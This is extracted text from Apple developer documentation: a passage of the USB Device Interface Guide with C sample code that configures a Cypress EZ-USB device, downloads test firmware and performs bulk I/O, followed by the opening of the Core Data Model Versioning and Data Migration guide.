gRawAddedIter; static io_iterator_t gRawRemovedIter; static io_iterator_t gBulkTestAddedIter; static io_iterator_t gBulkTestRemovedIter; static char gBuffer[64]; The main Function The main function in the USB Notification Example project (contained in the file main.c) accomplishes the following tasks. ● It establishes communication with the I/O Kit and sets up a matching dictionary to find the Cypress EZ-USB chip. ● It sets up an asynchronous notification to be called when an unprogrammed (raw) device is first attached to the I/O Registry and another to be called when the device is removed. ● It modifies the matching dictionary to find the programmed (bulk test) device. ● It sets up additional notifications to be called when the bulk test device is first attached or removed. ● It starts the run loop so the notifications that have been set up will be received. The main function uses I/O Kit functions to set up and modify a matching dictionary and set up notifications, and Core Foundation functions to set up the run loop for receiving the notifications. It calls the following functions to access both the raw device and the bulk test device. ● RawDeviceAdded, shown in Listing 2-3 (page 27), iterates over the set of matching devices and creates a device interface for each one. It calls ConfigureDevice (shown in Listing 2-5 (page 30)) to set the device’s configuration, and then DownloadToDevice (shown in Listing 2-6 (page 32)) to download the firmware to program it. ● RawDeviceRemoved,shown in Listing 2-4 (page 30), iterates over the set of matching devices and releases each one in turn. ● BulkTestDeviceAdded, shown in Listing 2-7 (page 34), iterates over the new set of matching devices, creates a device interface for each one, and calls ConfigureDevice (shown in Listing 2-5 (page 30)) to set the device’s configuration. It then calls FindInterfaces (shown in Listing 2-8 (page 36)) to get access to the interfaces on the device. ● BulkTestDeviceRemoved iterates over the new set of matching devices and releases each one in turn. This function is not shown in this chapter; see RawDeviceRemoved (Listing 2-4 (page 30)) for a nearly identical function. Working With USB Device Interfaces Accessing a USB Device 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 23Listing 2-2 The main function int main (int argc, const char *argv[]) { mach_port_t masterPort; CFMutableDictionaryRef matchingDict; CFRunLoopSourceRef runLoopSource; kern_return_t kr; SInt32 usbVendor = kOurVendorID; SInt32 usbProduct = kOurProductID; // Get command line arguments, if any if (argc > 1) usbVendor = atoi(argv[1]); if (argc > 2) usbProduct = atoi(argv[2]); //Create a master port for communication with the I/O Kit kr = IOMasterPort(MACH_PORT_NULL, &masterPort); if (kr || !masterPort) { printf("ERR: Couldn’t create a master I/O Kit port(%08x)\n", kr); return -1; } //Set up matching dictionary for class IOUSBDevice and its subclasses matchingDict = IOServiceMatching(kIOUSBDeviceClassName); if (!matchingDict) { printf("Couldn’t create a USB matching dictionary\n"); mach_port_deallocate(mach_task_self(), masterPort); return -1; } //Add the vendor and product IDs to the matching dictionary. //This is the second key in the table of device-matching keys of the //USB Common Class Specification Working With USB Device Interfaces Accessing a USB Device 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 24CFDictionarySetValue(matchingDict, CFSTR(kUSBVendorName), CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &usbVendor)); CFDictionarySetValue(matchingDict, CFSTR(kUSBProductName), CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &usbProduct)); //To set up asynchronous notifications, create a notification port and //add its run loop event source to the program’s run loop gNotifyPort = IONotificationPortCreate(masterPort); runLoopSource = IONotificationPortGetRunLoopSource(gNotifyPort); CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopDefaultMode); //Retain additional dictionary references because each call to //IOServiceAddMatchingNotification consumes one reference matchingDict = (CFMutableDictionaryRef) CFRetain(matchingDict); matchingDict = (CFMutableDictionaryRef) CFRetain(matchingDict); matchingDict = (CFMutableDictionaryRef) CFRetain(matchingDict); //Now set up two notifications: one to be called when a raw device //is first matched by the I/O Kit and another to be called when the //device is terminated //Notification of first match: kr = IOServiceAddMatchingNotification(gNotifyPort, kIOFirstMatchNotification, matchingDict, RawDeviceAdded, NULL, &gRawAddedIter); //Iterate over set of matching devices to access already-present devices //and to arm the notification RawDeviceAdded(NULL, gRawAddedIter); //Notification of termination: kr = IOServiceAddMatchingNotification(gNotifyPort, kIOTerminatedNotification, matchingDict, RawDeviceRemoved, NULL, &gRawRemovedIter); Working With USB Device Interfaces Accessing a USB Device 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 25//Iterate over set of matching devices to release each one and to //arm the notification RawDeviceRemoved(NULL, gRawRemovedIter); //Now change the USB product ID in the matching dictionary to match //the one the device will have after the firmware has been downloaded usbProduct = kOurProductIDBulkTest; CFDictionarySetValue(matchingDict, CFSTR(kUSBProductName), CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &usbProduct)); //Now set up two notifications: one to be called when a bulk test device //is first matched by the I/O Kit and another to be called when the //device is terminated. //Notification of first match kr = IOServiceAddMatchingNotification(gNotifyPort, kIOFirstMatchNotification, matchingDict, BulkTestDeviceAdded, NULL, &gBulkTestAddedIter); //Iterate over set of matching devices to access already-present devices //and to arm the notification BulkTestDeviceAdded(NULL, gBulkTestAddedIter); //Notification of termination kr = IOServiceAddMatchingNotification(gNotifyPort, kIOTerminatedNotification, matchingDict, BulkTestDeviceRemoved, NULL, &gBulkTestRemovedIter); //Iterate over set of matching devices to release each one and to //arm the notification. NOTE: this function is not shown in this document. BulkTestDeviceRemoved(NULL, gBulkTestRemovedIter); //Finished with master port mach_port_deallocate(mach_task_self(), masterPort); masterPort = 0; Working With USB Device Interfaces Accessing a USB Device 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 26//Start the run loop so notifications will be received CFRunLoopRun(); //Because the run loop will run forever until interrupted, //the program should never reach this point return 0; } Working With the Raw Device Now that you’ve obtained an iterator for a set of matching devices, you can use it to gain access to each raw device, configure it, and download the appropriate firmware to it. The function RawDeviceAdded (shown in Listing 2-3 (page 27)) uses I/O Kit functions to create a device interface for each device and then calls the following functions to configure the device and download firmware to it. ● ConfigureDevice, shown in Listing 2-5 (page 30), uses device interface functions to get the number of configurations, examine the first one, and set the device’s configuration. ● DownloadToDevice, shown in Listing 2-6 (page 32), downloads the firmware in bulktest.c to the device. Listing 2-3 Accessing and programming the raw device void RawDeviceAdded(void *refCon, io_iterator_t iterator) { kern_return_t kr; io_service_t usbDevice; IOCFPlugInInterface **plugInInterface = NULL; IOUSBDeviceInterface **dev = NULL; HRESULT result; SInt32 score; UInt16 vendor; UInt16 product; UInt16 release; while (usbDevice = IOIteratorNext(iterator)) { //Create an intermediate plug-in Working With USB Device Interfaces Accessing a USB Device 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 27kr = IOCreatePlugInInterfaceForService(usbDevice, kIOUSBDeviceUserClientTypeID, kIOCFPlugInInterfaceID, &plugInInterface, &score); //Don’t need the device object after intermediate plug-in is created kr = IOObjectRelease(usbDevice); if ((kIOReturnSuccess != kr) || !plugInInterface) { printf("Unable to create a plug-in (%08x)\n", kr); continue; } //Now create the device interface result = (*plugInInterface)->QueryInterface(plugInInterface, CFUUIDGetUUIDBytes(kIOUSBDeviceInterfaceID), (LPVOID *)&dev); //Don’t need the intermediate plug-in after device interface //is created (*plugInInterface)->Release(plugInInterface); if (result || !dev) { printf("Couldn’t create a device interface (%08x)\n", (int) result); continue; } //Check these values for confirmation kr = (*dev)->GetDeviceVendor(dev, &vendor); kr = (*dev)->GetDeviceProduct(dev, &product); kr = (*dev)->GetDeviceReleaseNumber(dev, &release); if ((vendor != kOurVendorID) || (product != kOurProductID) || (release != 1)) { printf("Found unwanted device (vendor = %d, product = %d)\n", vendor, product); Working With USB Device Interfaces Accessing a USB Device 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 28(void) (*dev)->Release(dev); continue; } //Open the device to change its state kr = (*dev)->USBDeviceOpen(dev); if (kr != kIOReturnSuccess) { printf("Unable to open device: %08x\n", kr); (void) (*dev)->Release(dev); continue; } //Configure device kr = ConfigureDevice(dev); if (kr != kIOReturnSuccess) { printf("Unable to configure device: %08x\n", kr); (void) (*dev)->USBDeviceClose(dev); (void) (*dev)->Release(dev); continue; } //Download firmware to device kr = DownloadToDevice(dev); if (kr != kIOReturnSuccess) { printf("Unable to download firmware to device: %08x\n", kr); (void) (*dev)->USBDeviceClose(dev); (void) (*dev)->Release(dev); continue; } //Close this device and release object kr = (*dev)->USBDeviceClose(dev); kr = (*dev)->Release(dev); Working With USB Device Interfaces Accessing a USB Device 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 29} } The function RawDeviceRemoved simply uses the iterator obtained from the main function (shown in Listing 2-2 (page 24)) to release each device object. This also has the effect of arming the raw device termination notification so it will notify the program of future device removals. RawDeviceRemoved is shown in Listing 2-4 (page 30). Listing 2-4 Releasing the raw device objects void RawDeviceRemoved(void *refCon, io_iterator_t iterator) { kern_return_t kr; io_service_t object; while (object = IOIteratorNext(iterator)) { kr = IOObjectRelease(object); if (kr != kIOReturnSuccess) { printf("Couldn’t release raw device object: %08x\n", kr); continue; } } } Although every USB device has one or more configurations, unless the device is a composite class device that’s been matched by the AppleUSBComposite driver which automatically sets the first configuration, none of those configurations may have been set. Therefore, your application may have to use device interface functions to get the appropriate configuration value and use it to set the device’s configuration. In the sample code, the function ConfigureDevice (shown in Listing 2-5 (page 30)) accomplishes this task. In fact, it is called twice: once by RawDeviceAdded to configure the raw device and again by BulkTestDeviceAdded (shown in Listing 2-7 (page 34)) to configure the bulk test device. Listing 2-5 Configuring a USB device IOReturn ConfigureDevice(IOUSBDeviceInterface **dev) Working With USB Device Interfaces Accessing a USB Device 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 30{ UInt8 numConfig; IOReturn kr; IOUSBConfigurationDescriptorPtr configDesc; //Get the number of configurations. The sample code always chooses //the first configuration (at index 0) but your code may need a //different one kr = (*dev)->GetNumberOfConfigurations(dev, &numConfig); if (!numConfig) return -1; //Get the configuration descriptor for index 0 kr = (*dev)->GetConfigurationDescriptorPtr(dev, 0, &configDesc); if (kr) { printf("Couldn’t get configuration descriptor for index %d (err = %08x)\n", 0, kr); return -1; } //Set the device’s configuration. The configuration value is found in //the bConfigurationValue field of the configuration descriptor kr = (*dev)->SetConfiguration(dev, configDesc->bConfigurationValue); if (kr) { printf("Couldn’t set configuration to value %d (err = %08x)\n", 0, kr); return -1; } return kIOReturnSuccess; } Working With USB Device Interfaces Accessing a USB Device 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 31Now that the device is configured, you can download firmware to it. Cypress makes firmware available to program the EZ-USB chip to emulate different devices. The sample code in this document uses firmware that programs the chip to be a bulk test device, a device that takes the data it receives from its bulk out pipe and echoesit to its bulk in pipe. The firmware, contained in the file bulktest.c, is an array of INTEL_HEX_RECORD structures (defined in the file hex2c.h). The function DownloadToDevice uses the function WriteToDevice (shown together in Listing 2-6 (page 32)) to prepare the device to receive the download and then to write information from each structure to the appropriate address on the device. When all the firmware has been downloaded, DownloadToDevice calls WriteToDevice a last time to inform the device that the download is complete. At this point, the raw device detaches itself from the bus and reattaches as a bulk test device. This causes the device nub representing the raw device to be removed from the I/O Registry and a new device nub, representing the bulk test device, to be attached. Listing 2-6 Two functions to download firmware to the raw device IOReturn DownloadToDevice(IOUSBDeviceInterface **dev) { int i; UInt8 writeVal; IOReturn kr; //Assert reset. This tells the device that the download is //about to occur writeVal = 1; //For this device, a value of 1 indicates a download kr = WriteToDevice(dev, k8051_USBCS, 1, &writeVal); if (kr != kIOReturnSuccess) { printf("WriteToDevice reset returned err 0x%x\n", kr); (*dev)->USBDeviceClose(dev); (*dev)->Release(dev); return kr; } //Download firmware i = 0; while (bulktest[i].Type == 0) //While bulktest[i].Type == 0, this is Working With USB Device Interfaces Accessing a USB Device 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 32{ //not the last firmware record to //download kr = WriteToDevice(dev, bulktest[i].Address, bulktest[i].Length, bulktest[i].Data); if (kr != kIOReturnSuccess) { printf("WriteToDevice download %i returned err 0x%x\n", i, kr); (*dev)->USBDeviceClose(dev); (*dev)->Release(dev); return kr; } i++; } //De-assert reset. This tells the device that the download is complete writeVal = 0; kr = WriteToDevice(dev, k8051_USBCS, 1, &writeVal); if (kr != kIOReturnSuccess) printf("WriteToDevice run returned err 0x%x\n", kr); return kr; } IOReturn WriteToDevice(IOUSBDeviceInterface **dev, UInt16 deviceAddress, UInt16 length, UInt8 writeBuffer[]) { IOUSBDevRequest request; request.bmRequestType = USBmakebmRequestType(kUSBOut, kUSBVendor, kUSBDevice); request.bRequest = 0xa0; request.wValue = deviceAddress; request.wIndex = 0; Working With USB Device Interfaces Accessing a USB Device 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 33request.wLength = length; request.pData = writeBuffer; return (*dev)->DeviceRequest(dev, &request); } Working With the Bulk Test Device After you download the firmware to the device, the raw device is no longer attached to the bus. To gain access to the bulk test device, you repeat most of the same steps you used to get access to the raw device. ● Use the iterator obtained by a call to IOServiceAddMatchingNotification in the main function (shown in Listing 2-2 (page 24)) to iterate over a set of matching devices. ● Create a device interface for each device. ● Configure the device. This time, however, the next step is to find the interfaces on the device so you can choose the appropriate one and get access to its pipes. Because of the similarities of these tasks, the function BulkTestDeviceAdded follows the same outline of the RawDeviceAdded function except that instead of downloading firmware to the device, it calls FindInterfaces (shown in Listing 2-8 (page 36)) to examine the available interfaces and their pipes. The code in Listing 2-7 (page 34) replaces most of the BulkTestDeviceAdded function’s code with comments, focusing on the differences between it and the RawDeviceAdded function. Listing 2-7 Accessing the bulk test device void BulkTestDeviceAdded(void *refCon, io_iterator_t iterator) { kern_return_t kr; io_service_t usbDevice; IOUSBDeviceInterface **device=NULL; while (usbDevice = IOIteratorNext(iterator)) { //Create an intermediate plug-in using the //IOCreatePlugInInterfaceForService function //Release the device object after getting the intermediate plug-in Working With USB Device Interfaces Accessing a USB Device 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 34//Create the device interface using the QueryInterface function //Release the intermediate plug-in object //Check the vendor, product, and release number values to //confirm we’ve got the right device //Open the device before configuring it kr = (*device)->USBDeviceOpen(device); //Configure the device by calling ConfigureDevice //Close the device and release the device interface object if //the configuration is unsuccessful //Get the interfaces kr = FindInterfaces(device); if (kr != kIOReturnSuccess) { printf("Unable to find interfaces on device: %08x\n", kr); (*device)->USBDeviceClose(device); (*device)->Release(device); continue; } //If using synchronous IO, close and release the device interface here #ifndef USB_ASYNC_IO kr = (*device)->USBDeviceClose(device); kr = (*device)->Release(device); #endif } } Working With USB Device Interfaces Accessing a USB Device 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 35The function BulkTestDeviceRemoved simply uses the iterator obtained from the main function (shown in Listing 2-2 (page 24)) to release each device object. This also has the effect of arming the bulk test device termination notification so it will notify the program of future device removals.The BulkTestDeviceRemoved function is identical to the RawDeviceRemoved function (shown in Listing 2-4 (page 30)), with the exception of the wording of the printed error statement. Working With Interfaces Now that you’ve configured the device, you have access to its interfaces. The FindInterfaces function (shown in Listing 2-8 (page 36)) creates an iterator to iterate over all interfaces on the device and then creates a device interface to communicate with each one. For each interface found, the function opens the interface, determines how many endpoints (or pipes) it has, and prints out the properties of each pipe. Because opening an interface causes its pipes to be instantiated, you can get access to any pipe by using its pipe index. The pipe index is the number of the pipe within the interface, ranging from one to the number of endpoints returned by GetNumEndpoints. You can communicate with the default control pipe (described in “USB Transfer Types” (page 8)) from any interface by using pipe index 0, but it is usually better to use the device interface functions for the device itself (see the use of IOUSBDeviceInterface functions in Listing 2-5 (page 30)). The sample code employs conditional compilation using #ifdef and #ifndef to demonstrate both synchronous and asynchronous I/O. If you’ve chosen to test synchronous I/O, FindInterfaces writes the test message (defined in Listing 2-1 (page 22)) to pipe index 2 on the device and readsits echo before returning. For asynchronous I/O, FindInterfaces first creates an event source and adds it to the run loop created by the main function (shown in Listing 2-2 (page 24)). It then sets up an asynchronous write and read that will cause a notification to be sent upon completion. The completion functions WriteCompletion and ReadCompletion are shown together in Listing 2-9 (page 43). Listing 2-8 Finding interfaces on the bulk test device IOReturn FindInterfaces(IOUSBDeviceInterface **device) { IOReturn kr; IOUSBFindInterfaceRequest request; io_iterator_t iterator; io_service_t usbInterface; IOCFPlugInInterface **plugInInterface = NULL; IOUSBInterfaceInterface **interface = NULL; HRESULT result; SInt32 score; Working With USB Device Interfaces Accessing a USB Device 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 36UInt8 interfaceClass; UInt8 interfaceSubClass; UInt8 interfaceNumEndpoints; int pipeRef; #ifndef USE_ASYNC_IO UInt32 numBytesRead; UInt32 i; #else CFRunLoopSourceRef runLoopSource; #endif //Placing the constant kIOUSBFindInterfaceDontCare into the following //fields of the IOUSBFindInterfaceRequest structure will allow you //to find all the interfaces request.bInterfaceClass = kIOUSBFindInterfaceDontCare; request.bInterfaceSubClass = kIOUSBFindInterfaceDontCare; request.bInterfaceProtocol = kIOUSBFindInterfaceDontCare; request.bAlternateSetting = kIOUSBFindInterfaceDontCare; //Get an iterator for the interfaces on the device kr = (*device)->CreateInterfaceIterator(device, &request, &iterator); while (usbInterface = IOIteratorNext(iterator)) { //Create an intermediate plug-in kr = IOCreatePlugInInterfaceForService(usbInterface, kIOUSBInterfaceUserClientTypeID, kIOCFPlugInInterfaceID, &plugInInterface, &score); //Release the usbInterface object after getting the plug-in kr = IOObjectRelease(usbInterface); if ((kr != kIOReturnSuccess) || !plugInInterface) { printf("Unable to create a plug-in (%08x)\n", kr); Working With USB Device Interfaces Accessing a USB Device 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 37break; } //Now create the device interface for the interface result = (*plugInInterface)->QueryInterface(plugInInterface, CFUUIDGetUUIDBytes(kIOUSBInterfaceInterfaceID), (LPVOID *) &interface); //No longer need the intermediate plug-in (*plugInInterface)->Release(plugInInterface); if (result || !interface) { printf("Couldn’t create a device interface for the interface (%08x)\n", (int) result); break; } //Get interface class and subclass kr = (*interface)->GetInterfaceClass(interface, &interfaceClass); kr = (*interface)->GetInterfaceSubClass(interface, &interfaceSubClass); printf("Interface class %d, subclass %d\n", interfaceClass, interfaceSubClass); //Now open the interface. This will cause the pipes associated with //the endpoints in the interface descriptor to be instantiated kr = (*interface)->USBInterfaceOpen(interface); if (kr != kIOReturnSuccess) { printf("Unable to open interface (%08x)\n", kr); (void) (*interface)->Release(interface); break; Working With USB Device Interfaces Accessing a USB Device 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 38} //Get the number of endpoints associated with this interface kr = (*interface)->GetNumEndpoints(interface, &interfaceNumEndpoints); if (kr != kIOReturnSuccess) { printf("Unable to get number of endpoints (%08x)\n", kr); (void) (*interface)->USBInterfaceClose(interface); (void) (*interface)->Release(interface); break; } printf("Interface has %d endpoints\n", interfaceNumEndpoints); //Access each pipe in turn, starting with the pipe at index 1 //The pipe at index 0 is the default control pipe and should be //accessed using (*usbDevice)->DeviceRequest() instead for (pipeRef = 1; pipeRef <= interfaceNumEndpoints; pipeRef++) { IOReturn kr2; UInt8 direction; UInt8 number; UInt8 transferType; UInt16 maxPacketSize; UInt8 interval; char *message; kr2 = (*interface)->GetPipeProperties(interface, pipeRef, &direction, &number, &transferType, &maxPacketSize, &interval); if (kr2 != kIOReturnSuccess) printf("Unable to get properties of pipe %d (%08x)\n", pipeRef, kr2); else Working With USB Device Interfaces Accessing a USB Device 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 39{ printf("PipeRef %d: ", pipeRef); switch (direction) { case kUSBOut: message = "out"; break; case kUSBIn: message = "in"; break; case kUSBNone: message = "none"; break; case kUSBAnyDirn: message = "any"; break; default: message = "???"; } printf("direction %s, ", message); switch (transferType) { case kUSBControl: message = "control"; break; case kUSBIsoc: message = "isoc"; break; case kUSBBulk: message = "bulk"; break; case kUSBInterrupt: message = "interrupt"; Working With USB Device Interfaces Accessing a USB Device 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 40break; case kUSBAnyType: message = "any"; break; default: message = "???"; } printf("transfer type %s, maxPacketSize %d\n", message, maxPacketSize); } } #ifndef USE_ASYNC_IO //Demonstrate synchronous I/O kr = (*interface)->WritePipe(interface, 2, kTestMessage, strlen(kTestMessage)); if (kr != kIOReturnSuccess) { printf("Unable to perform bulk write (%08x)\n", kr); (void) (*interface)->USBInterfaceClose(interface); (void) (*interface)->Release(interface); break; } printf("Wrote \"%s\" (%ld bytes) to bulk endpoint\n", kTestMessage, (UInt32) strlen(kTestMessage)); numBytesRead = sizeof(gBuffer) - 1; //leave one byte at the end //for NULL termination kr = (*interface)->ReadPipe(interface, 9, gBuffer, &numBytesRead); if (kr != kIOReturnSuccess) { printf("Unable to perform bulk read (%08x)\n", kr); (void) (*interface)->USBInterfaceClose(interface); (void) (*interface)->Release(interface); Working With USB Device Interfaces Accessing a USB Device 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 41break; } //Because the downloaded firmware echoes the one’s complement of the //message, now complement the buffer contents to get the original data for (i = 0; i < numBytesRead; i++) gBuffer[i] = ~gBuffer[i]; printf("Read \"%s\" (%ld bytes) from bulk endpoint\n", gBuffer, numBytesRead); #else //Demonstrate asynchronous I/O //As with service matching notifications, to receive asynchronous //I/O completion notifications, you must create an event source and //add it to the run loop kr = (*interface)->CreateInterfaceAsyncEventSource( interface, &runLoopSource); if (kr != kIOReturnSuccess) { printf("Unable to create asynchronous event source (%08x)\n", kr); (void) (*interface)->USBInterfaceClose(interface); (void) (*interface)->Release(interface); break; } CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopDefaultMode); printf("Asynchronous event source added to run loop\n"); bzero(gBuffer, sizeof(gBuffer)); strcpy(gBuffer, kTestMessage); kr = (*interface)->WritePipeAsync(interface, 2, gBuffer, strlen(gBuffer), WriteCompletion, (void *) interface); if (kr != kIOReturnSuccess) Working With USB Device Interfaces Accessing a USB Device 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 42{ printf("Unable to perform asynchronous bulk write (%08x)\n", kr); (void) (*interface)->USBInterfaceClose(interface); (void) (*interface)->Release(interface); break; } #endif //For this test, just use first interface, so exit loop break; } return kr; } When an asynchronous write action is complete, the WriteCompletion function is called by the notification. WriteCompletion then calls the interface function ReadPipeAsync to perform an asynchronous read from the pipe. When the read is complete, control passes to ReadCompletion which simply prints status messages and adds a NULL termination to the global buffer containing the test message read from the device. The WriteCompletion and ReadCompletion functions are shown together in Listing 2-9 (page 43). Listing 2-9 Two asynchronous I/O completion functions void WriteCompletion(void *refCon, IOReturn result, void *arg0) { IOUSBInterfaceInterface **interface = (IOUSBInterfaceInterface **) refCon; UInt32 numBytesWritten = (UInt32) arg0; UInt32 numBytesRead; printf("Asynchronous write complete\n"); if (result != kIOReturnSuccess) { printf("error from asynchronous bulk write (%08x)\n", result); (void) (*interface)->USBInterfaceClose(interface); (void) (*interface)->Release(interface); return; } Working With USB Device Interfaces Accessing a USB Device 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 43printf("Wrote \"%s\" (%ld bytes) to bulk endpoint\n", kTestMessage, numBytesWritten); numBytesRead = sizeof(gBuffer) - 1; //leave one byte at the end for //NULL termination result = (*interface)->ReadPipeAsync(interface, 9, gBuffer, numBytesRead, ReadCompletion, refCon); if (result != kIOReturnSuccess) { printf("Unable to perform asynchronous bulk read (%08x)\n", result); (void) (*interface)->USBInterfaceClose(interface); (void) (*interface)->Release(interface); return; } } void ReadCompletion(void *refCon, IOReturn result, void *arg0) { IOUSBInterfaceInterface **interface = (IOUSBInterfaceInterface **) refCon; UInt32 numBytesRead = (UInt32) arg0; UInt32 i; printf("Asynchronous bulk read complete\n"); if (result != kIOReturnSuccess) { printf("error from async bulk read (%08x)\n", result); (void) (*interface)->USBInterfaceClose(interface); (void) (*interface)->Release(interface); return; } //Check the complement of the buffer’s contents for original data for (i = 0; i < numBytesRead; i++) gBuffer[i] = ~gBuffer[i]; Working With USB Device Interfaces Accessing a USB Device 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 44printf("Read \"%s\" (%ld bytes) from bulk endpoint\n", gBuffer, numBytesRead); } Working With USB Device Interfaces Accessing a USB Device 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 45This table describes the changes to USB Device Interface Guide . Date Notes 2012-01-09 Added information about App Sandbox. 2007-09-04 Made minor corrections. Described how to determine which version of an interface object to use when accessing a USB device or interface. 2007-02-08 2006-04-04 Made minor corrections. Emphasized which type of device interface to get for USB devices and interfaces and clarified definition of composite class device. 2006-03-08 2005-11-09 Made minor corrections. Added information about creating a universal binary for an application that accesses a USB device. 2005-09-08 2005-08-11 Made minor bug fixes. Added information about low latency isochronous transactions and functions. 2005-06-04 Included discussion of USB 2.0 and associated changes to isochronous functions. Changed title from "Working With USB Device Interfaces." 2005-04-29 2004-05-27 Fixed URL for USB Common Class Specification. 2002-11-15 First version. 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 46 Document Revision HistoryApple Inc. © 2002, 2012 Apple Inc. All rights reserved. No part of this publication may be reproduced, stored in a retrievalsystem, or transmitted, in any form or by any means, mechanical, electronic, photocopying, recording, or otherwise, without prior written permission of Apple Inc., with the following exceptions: Any person is hereby authorized to store documentation on a single computer for personal use only and to print copies of documentation for personal use provided that the documentation contains Apple’s copyright notice. No licenses, express or implied, are granted with respect to any of the technology described in this document. Apple retains all intellectual property rights associated with the technology described in this document. This document is intended to assist application developers to develop applications only for Apple-labeled computers. Apple Inc. 1 Infinite Loop Cupertino, CA 95014 408-996-1010 Apple, the Apple logo, Finder, Mac, Macintosh, OS X, Pages, Sand, and Xcode are trademarks of Apple Inc., registered in the U.S. and other countries. Intel and Intel Core are registered trademarks of Intel Corporation or its subsidiaries in the United States and other countries. PowerPC and the PowerPC logo are trademarks of International Business Machines Corporation, used under license therefrom. Even though Apple has reviewed this document, APPLE MAKES NO WARRANTY OR REPRESENTATION, EITHER EXPRESS OR IMPLIED, WITH RESPECT TO THIS DOCUMENT, ITS QUALITY, ACCURACY, MERCHANTABILITY, OR FITNESS FOR A PARTICULAR PURPOSE.ASARESULT, THISDOCUMENT IS PROVIDED “AS IS,” AND YOU, THE READER, ARE ASSUMING THE ENTIRE RISK AS TO ITS QUALITY AND ACCURACY. IN NO EVENT WILL APPLE BE LIABLE FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL,OR CONSEQUENTIAL DAMAGES RESULTING FROM ANY DEFECT OR INACCURACY IN THIS DOCUMENT, even if advised of the possibility of such damages. THE WARRANTY AND REMEDIES SET FORTH ABOVE ARE EXCLUSIVE AND IN LIEU OF ALL OTHERS, ORAL OR WRITTEN, EXPRESS OR IMPLIED. No Apple dealer, agent, or employee is authorized to make any modification, extension, or addition to this warranty. Some states do not allow the exclusion or limitation of implied warranties or liability for incidental or consequential damages, so the above limitation or exclusion may not apply to you. This warranty gives you specific legal rights, and you may also have other rights which vary from state to state. Core Data Model Versioning and Data Migration Programming GuideContents Core Data Model Versioning and Data Migration 5 At a Glance 5 Prerequisites 6 Understanding Versions 7 Model File Format and Versions 10 Lightweight Migration 12 Core Data Must Be Able to Infer the Mapping 12 Request Automatic Migration Using an Options Dictionary 13 Use a Migration Manager if Models Cannot Be Found Automatically 14 Mapping Overview 17 Mapping Model Objects 17 Creating a Mapping Model in Xcode 19 The Migration Process 20 Overview 20 Requirements for the Migration Process 20 Custom Entity Migration Policies 21 Three-Stage Migration 21 Initiating the Migration Process 23 Initiating the Migration Process 23 The Default Migration Process 24 Customizing the Migration Process 26 Is Migration Necessary 26 Initializing a Migration Manager 27 Performing a Migration 28 Multiple Passes—Dealing With Large Datasets 29 Migration and iCloud 30 2012-01-09 | © 2012 Apple Inc. All Rights Reserved. 2Document Revision History 31 2012-01-09 | © 2012 Apple Inc. All Rights Reserved. 3 ContentsFigures and Listings Understanding Versions 7 Figure 1-1 Recipes models “Version 1.0” 7 Figure 1-2 Recipes model “Version 1.1” 7 Figure 1-3 Recipes model “Version 2.0” 8 Model File Format and Versions 10 Figure 2-1 Initial version of the Core Recipes model 10 Figure 2-2 Version 2 of the Core Recipes model 11 Mapping Overview 17 Figure 4-1 Mapping model for versions 1-2 of the Core Recipes models 19 Initiating the Migration Process 23 Listing 6-1 Opening a store using automatic migration 24 Customizing the Migration Process 26 Listing 7-1 Checking whether migration is necessary 26 Listing 7-2 Initializing a Migration Manager 27 Listing 7-3 Performing a Migration 28 2012-01-09 | © 2012 Apple Inc. All Rights Reserved. 4Core Data provides support for managing changes to a managed object model as your application evolves. You can only open a Core Data store using the managed object model used to create it. Changing a model will therefore make it incompatible with (and so unable to open) the stores it previously created. If you change your model, you therefore need to change the data in existing stores to new version—changing the store format is known as migration. To migrate a store, you need both the version of the model used to create it, and the current version of the model you want to migrate to. You can create a versioned model that contains more than one version of a managed object model. Within the versioned model you mark one version as being the current version. Core Data can then use this model to open persistent stores created using any of the model versions, and migrate the stores to the current version. To help Core Data perform the migration, though, you may have to provide information about how to map from one version of the model to another. This information may be in the form of hints within the versioned model itself, or in a separate mapping model file that you create. At a Glance Typically, as it evolves from one version to another, numerous aspects of your application change: the classes you implement, the user interface, the file format, and so on. You need to be aware of and in control of all these aspects; there is no API that solves the problems associated with all these—for example Cocoa does not provide a means to automatically update your user interface if you add a new attribute to an entity in your managed object model. Core Data does not solve all the issues of how you roll out your application. It does, though, provide support for a small—but important and non-trivial—subset of the tasks you must perform as your application evolves. ● Model versioning allows you to specify and distinguish between different configurations of your schema. There are two distinct views of versioning: your perspective as a developer, and Core Data’s perspective. These may not always be the same. The differences are discussed in “Understanding Versions” (page 7). The format of a versioned managed object model, and how you add a version to a model, is discussed in “Model File Format and Versions” (page 10). ● Core Data needs to know how to map from the entities and properties in a source model to the entities and properties in the destination model. 2012-01-09 | © 2012 Apple Inc. All Rights Reserved. 5 Core Data Model Versioning and Data MigrationIn many cases, Core Data can infer the mapping from existing versions of the managed object model. This is described in “Lightweight Migration” (page 12). If you make 